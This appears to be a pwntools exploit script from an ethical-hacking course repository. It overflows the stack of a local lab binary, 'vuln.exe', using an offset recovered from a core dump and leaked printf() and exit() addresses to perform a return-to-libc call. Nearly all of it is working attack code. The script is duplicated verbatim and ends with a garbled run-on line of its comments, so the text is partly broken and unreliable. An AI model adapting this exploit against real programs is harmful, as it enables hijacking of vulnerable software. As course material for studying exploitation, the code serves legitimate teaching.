<reponame>rambasnet/EthicalHacking-Notebooks
#! /usr/bin/env python3

from pwn import *

target_name = './vuln.exe'

exe = context.binary = ELF(target_name)

# Generate a cyclic pattern so that we can auto-find the offset
pattern = cyclic(200, n=4)

# Run the process once so that it crashes
p = process([target_name, pattern])
p.wait() # wait for close

# Get the core dump
core = p.corefile
offset = cyclic_find(core.read(core.esp, 4), n=4) - 4
log.info(f'offset = {offset}')

# create the process again
p = process([target_name, 'Some password']) # run program with an argument
p.recvuntil(b'printf(): ') # receive and discard output before printf(): 
printf_add = p.recvline(False) # do not receive the \n character; just the address
log.info(f'printf address: {printf_add}')
printf_add_int = int(printf_add, 16) # convert hex to integer address
printf_add = p32(printf_add_int)
log.info(f'p32 printf address: {printf_add}')
assert printf_add_int == u32(printf_add) # make sure packed and unpacked addresses are the same value

# find the address of exit function
p.recvuntil(b'exit(): ')
exit_add = p.recvline(False)
exit_add = int(exit_add, 16)
log.info(f'exit() address: {exit_add:#010x}')
# search the address of "Password OK :)" string in the executable
arg_add = next(exe.search(b'Password OK :)'))
log.info(f'arg address: {arg_add:#010x}')

payload = b'A'*offset + printf_add + p32(exit_add) + p32(arg_add) + b"0"
log.info(f'payload: {payload}')

# send the payload to the exe again
io = process([target_name, payload])
io.interactive()

#! /usr/bin/env python3

from pwn import *

target_name = './vuln.exe'

exe = context.binary = ELF(target_name)

# Generate a cyclic pattern so that we can auto-find the offset
pattern = cyclic(200, n=4)

# Run the process once so that it crashes
p = process([target_name, pattern])
p.wait() # wait for close

# Get the core dump
core = p.corefile
offset = cyclic_find(core.read(core.esp, 4), n=4) - 4
log.info(f'offset = {offset}')

# create the process again
p = process([target_name, 'Some password']) # run program with an argument
p.recvuntil(b'printf(): ') # receive and discard output before printf(): 
printf_add = p.recvline(False) # do not receive the \n character; just the address
log.info(f'printf address: {printf_add}')
printf_add_int = int(printf_add, 16) # convert hex to integer address
printf_add = p32(printf_add_int)
log.info(f'p32 printf address: {printf_add}')
assert printf_add_int == u32(printf_add) # make sure packed and unpacked addresses are the same value

# find the address of exit function
p.recvuntil(b'exit(): ')
exit_add = p.recvline(False)
exit_add = int(exit_add, 16)
log.info(f'exit() address: {exit_add:#010x}')
# search the address of "Password OK :)" string in the executable
arg_add = next(exe.search(b'Password OK :)'))
log.info(f'arg address: {arg_add:#010x}')

payload = b'A'*offset + printf_add + p32(exit_add) + p32(arg_add) + b"0"
log.info(f'payload: {payload}')

# send the payload to the exe again
io = process([target_name, payload])
io.interactive()
#! /usr/bin/env python3 # Generate a cyclic pattern so that we can auto-find the offset # Run the process once so that it crashes # wait for close # Get the core dump # create the process again # run program with an argument # receive and discard output before printf(): # do not receive the \n character; just the address # convert hex to integer address # make sure packed and unpacked addresses are the same value # find the address of exit function #010x}') # search the address of "Password OK :)" string in the executable #010x}') # send the payload to the exe again